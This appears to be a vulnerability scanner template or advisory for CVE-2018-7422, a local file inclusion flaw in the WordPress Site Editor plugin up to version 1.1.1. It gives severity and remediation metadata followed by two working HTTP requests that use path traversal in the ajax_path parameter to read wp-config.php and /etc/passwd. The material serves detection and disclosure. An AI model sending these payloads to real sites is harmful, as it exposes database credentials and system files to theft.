| Title | WordPress Site Editor <=1.1.1 - Local File Inclusion |
|---|---|
| Author | LuskaBol,0x240x23elu |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to gain unauthorized access to sensitive files, potentially leading to further compromise of the system. |
| Remediation | Update WordPress Site Editor plugin to the latest version to mitigate the vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.89256 |
| CVE ID | CVE-2018-7422 |
| CWE ID | CWE-22 |
| Tags | cve2018 cve wordpress wp-plugin lfi edb seclists siteeditor vkev vuln |
WordPress Site Editor through 1.1.1 allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php.
GET /wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../wp-config.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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